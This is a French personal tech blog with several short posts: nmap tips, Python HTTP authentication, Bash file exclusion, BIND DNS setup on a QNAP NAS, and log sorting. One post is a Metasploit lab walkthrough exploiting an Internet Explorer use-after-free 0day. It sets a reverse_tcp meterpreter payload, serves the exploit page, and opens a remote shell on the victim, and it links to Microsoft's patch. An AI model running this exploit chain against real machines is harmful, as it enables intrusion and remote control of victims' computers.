Nmap : Afficher uniquement les host down lors d'un discovery

Petite commande pratique qui  permet d'affiche les ip non utilisée dans un certain range :

$ nmap -v -sn 192.168.1.0/24 | grep down | awk '{print $5}'

ça retourne quelque-chose semblable à ça :
192.168.1.2
192.168.1.3
192.168.1.5
...

Exploiter la 0day d'internet explorer avec Metasploit

Une nouvelle 0day touchant les versions 7 à 9 d'Internet Explorer a été publiée il y a peu : Internet Explorer touché par un exploit 0day

C'est l'occasion de s'amuser un peu avec Metasploit :
On télécharge l'exploit (il se trouve façilement sur le net, cherchez ie_execcommand_uaf) et on le glisse dans le répertoire "module" de metasploit. dans modules/exploits/windows/browser/ chez moi

une fois la console Metasploit lancée, on le sélectionne :
msf > use exploit/windows/browser/ie_execcommand_uaf

on spécifie le serveur ou sera hosté l'exploit :
msf  exploit(ie_execcommand_uaf) > set SRVHOST 192.168.0.198
SRVHOST => 192.168.0.198

même chose avec le payload. on prend meterpreter :
msf  exploit(ie_execcommand_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

ici, on donne l'ip du "serveur" meterpreter :
msf  exploit(ie_execcommand_uaf) > set LHOST 192.168.0.198
LHOST => 192.168.0.198

et on lance...
msf  exploit(ie_execcommand_uaf) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.198:4444 
[*] Using URL: http://192.168.0.198:8080/mYMNRKKhd
[*] Server started.

l'exploit crée un serveur web sur le serveur.
On passe sur la machine vulnérable, une Win7 SP1 avec IE 7, et on se rend sur la page http://192.168.0.198:8080/mYMNRKKhd depuis IE.
Si tout se passe bien, l'exploit fonctionne et vous devriez avoir quelquechose de semblable dans votre msfconsole :
[*] Sending stage (752128 bytes) to 192.168.0.198
[*] Meterpreter session 1 opened (192.168.0.198:4444 -> 192.168.0.198:32994) at 2012-09-20 20:52:12 +0200
[*] Session ID 1 (192.168.0.198:4444 -> 192.168.0.198:32994) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2312)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3232
[+] Successfully migrated to process 

On voit bien qu'il lance un notepad.exe avec un pid de 3232. L'exploit a donc fonctionné.
Du côté du PC de la victime, on voit les process se lancer à l'instant ou il se rend sur la page, ça correspond bien au pid plus haut (2312) :





Et finalement notepad.exe s'éxecute depuis le process iexplorer.exe :




De nouveau sur la machine de l'attaquant, on lance se connecte sur la session meterpreter : 
msf  exploit(ie_execcommand_uaf) > sessions -i 1
[*] Starting interaction with 1...

Et on lance un shell :
meterpreter > shell
Process 2740 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator\Desktop>

Hop, on a notre remote shell.
Vous l'aurez compris, c'est particulièrement façile à faire. et ça touche pratiquement toutes les versions de windows...

Microsoft à tout d'abord proposé de télecharger son outil basé EMET qui doit permettre de détecter ce type d'intrusion.
Microsoft EMET
Je l'ai installé sur la machine et relancé l'exploit. Voici ce que m'indique l'outil alors que j'ai mon remote shell de lancé ! :


Bref, vous avez meilleur temps de télecharger le fix qui se trouve ici :
kb-2757760

à noter que la mise à jour automatique est prévue pour demain (Vendredi) :
internet-explorer-fix-it-available-now-security-update-scheduled-for-friday

Analyse technique de la 0day : blog.vulnhunt.com

Authentification HTTP en Python

Petite astuce pour passer une authentification HTTP en python :
Notez qu'il est nécessaire d'avoir les modules urllib2 et base64 .
 
import urllib2, base64 
 
username = "myUsername"
password = "myPassword"
 
request = urllib2.Request("http://google.com/")
stringb64 = base64.encodestring(username+":"+password)
request.add_header("Authorization", "Basic "+stringb64)
result = urllib2.urlopen(request)

result.info() # Affiche la réponse du serveur
result.read() # Affiche le contenu  renvoyé

Notez que les champs contenus dans username et password sont passés en clair, il n'y a aucun cryptage si vous n'utilisez pas de HTTPS. Plus d'info : http://docs.python.org/library/urllib2.html

Exclure des fichiers/dossiers lors d'un rm en Bash

Voici une commande bien pratique qui permet d’exclure des fichiers ou répertoires lors d'une commande linux (par exemple rm, cp, ...).
$ <command>$(ls * | grep -v '<fichier_a_exclure_1>\|<fichier_a_exclure_2>')</fichier_a_exclure_2></fichier_a_exclure_1>

Par exemple je supprimer tout les fichiers d'un répertoire sauf le fichier info.txt et hello.png :
$ rm -f $(ls * | grep -v 'info.txt\|hello.png')

That's all.

Créer simplement un serveur DNS sur son nas QNAP

plutôt que d'aller taper directement les adresses ip pour accéder à mon serveur, nas et diverses imprimantes, je me suis décidé à installer un serveur DNS : Bind

J'ai donc choisis de l'installer sur le NAS, un QNAP Turbo NAS TS-410.

Dans le cas de QNAP, Bind s'installe aisément via Optware, une sorte de géstionnaire de package integré à l'OS (pour plus d'info : Install_Optware_IPKG)

Mon réseau est : 192.168.0.0/24.
L'adresse de ma gateway/dhcp/... : 192.168.0.1
L'adresse de mon NAS : 192.168.0.2
L'adresse du serveur : 192.168.0.3

Connectez-vous en SSH sur le NAS et rendez-vous dans /opt/etc/named/
créer un fichier du nom de named.conf qui contiendra tout les paramètres de Bind.
Il faut aussi générer une clé pour rndc :
/opt/sbin/rndc-confgen -a
(elle sera automatiquement mise dans le bon dossier)

Pour ma part, j'ai aussi crée un dossier zone qui contiendra tout les fichiers de conf de mes diverses zones.

Éditez le fichier named.conf crée juste avant et insérez-y les paramètres suivants :
### OPTIONS ### 

options {
        auth-nxdomain no;    # Conforme à la RFC1035
        forwarders { 8.8.8.8; }; # Forward sur les DNS de Google si il ne trouve pas
        listen-on port 53 { 127.0.0.1; 192.168.0.2; }; # ou 192.168.0.2 est l'adresse de votre interface "externe".
        listen-on-v6 { none; };
        allow-recursion { 127.0.0.1; 192.168.0.0/24; };
        allow-transfer { 127.0.0.1; };
        notify no;
};

### ZONE ###
zone "domaine.com" IN { # Remplacez domaine.com par le domaine qu'on souhaite
        type master;
        file "zone/db.domaine.com"; # Pareil
};

zone "0.168.192.in-addr.arpa" {
        type master;
        file "zone/db.0.168.192";
};
Pour les zones, j'ai crée deux zones pour un seul domaine :
 - La zone de recherche directe
 - La zone de recherche inversée

Ainsi, avec la première. On pourra atteindre une IP en spécifiant un nom voulu :
ping  serveur.domaine.com
PING serveur.domaine.com (192.168.0.3) 56(84) bytes of data.
Avec la deuxième, c'est l'inverse qui se produit (d'ou son nom, m'voyez) :
nslookup 192.168.0.3

(...) 

3.0.168.192.in-addr.arpa        name = serveur.domaine.com.
Donc pour chaque zone, il faut lui spécifier un nom de fichier qui contiendra plein d'infos et de configs...
Par convention, je les nommes db.<hostname/ip>.

Attention à bien noter que les 3 derniers octers des adresses ip s'écrivent à l'envers. 192.168.0.3 -> 3.0.168.192
Créez ensuite les deux fichiers de zones : db.0.168.192 et db.serveur.domaine.com de mon côté.
Insérez ceci dans votre db.serveur.com :
$TTL 1D
domaine.com.         IN SOA  serveur    root.serveur.domaine.com. (
                2007111301      ; serial
                1D              ; refresh
                1H              ; retry
                1D              ; expire
                1D )            ; minimum

                IN NS           serveur
                IN MX           10 serveur
; domain to IP mappings
nas     IN A            192.168.0.3
et dans db.0.168.192 :
$TTL 1D
0.168.192.in-addr.arpa. IN SOA  domaine.com.         root.serveur.domaine.com. (
                2007111301      ; serial
                1D              ; refresh
                1H              ; retry
                1D              ; expire
                1D )            ; minimum


                IN NS   serveur.domaine.com.

; IP to domain mappings
1               IN PTR  serveur.domaine.com.            
Okay, les configs sont normalement terminées (je n'ai pas envie de m'attarder sur les détails techniques de ces configs, pour plus d'info : Installation d'un serveur DNS).

si vous voulez vérifier que tout est ok avant de le starter, lancer la commande suivante : 
/opt/sbin/named-checkconf /opt/etc/named.conf
Ils vous retournera les erreurs si il y en a. ne reste plus qu'à lancer le service Bind (oui, vous noterez le nom wtf) :
/opt/etc/init.d/S09named start
à ce stade, votre serveur DNS est actif et fonctionnel (sinon ben relisez plus haut). Néanmoins, le routeur push toujours sa propre adresse DNS. Sur mon routeur, j'ai pu remedier à ce problème en désactivant l'options suivante :
Cette option pushait automatiquement l'addresse du routeur en tant qu'adresse DNS. En la désactivant, il envoie l'adresse mentionnée dans la config réseau :


Reste plus qu'à réinitialiser le routeur et relancer le réseau sur les machines clientes, ainsi elles obtiendront les nouveaux paramètres DHCP :
domain mydomain
nameserver 192.168.0.2
nameserver 8.8.8.8
Enfin, plus qu'à tester :
ping  serveur.domaine.com
Pour le côté théorique, ça ressemble à ça (en version pas mal simplifiée) :


  1. Le client branche se connecte au réseau et signale au routeur qu'il est connecté. 
  2. celui-ci lui adresse une adresse IP, et lui passe aussi ce qui nous intéresse : l'adresse DNS si on l'a spécifiée dans la config
  3. une fois qu'il connait l'adresse du DNS et qu'il aimerait atteindre le serveur, il envoie une requête en broadcast pour savoir à qui appartient le hostname serveur.domaine.com
  4. le DNS lui répond en lui indiquant où est ce qu'il doit s'adresser pour l'atteindre.
  5. Enfin, le client peut communiquer avec le serveur via son nom DNS : serveur.domaine.com
du coup j'ai un peu devié du sujet. mwerf.

Trier un fichier de log par date

Petit message pour vous montrer une commande bien pratique qui permet de visualiser un fichier de log trié par date et heure (ce qui n'est pas le cas par défaut) :
less <fichier de log> | sort -k 2,2n -k 3

c'tout :)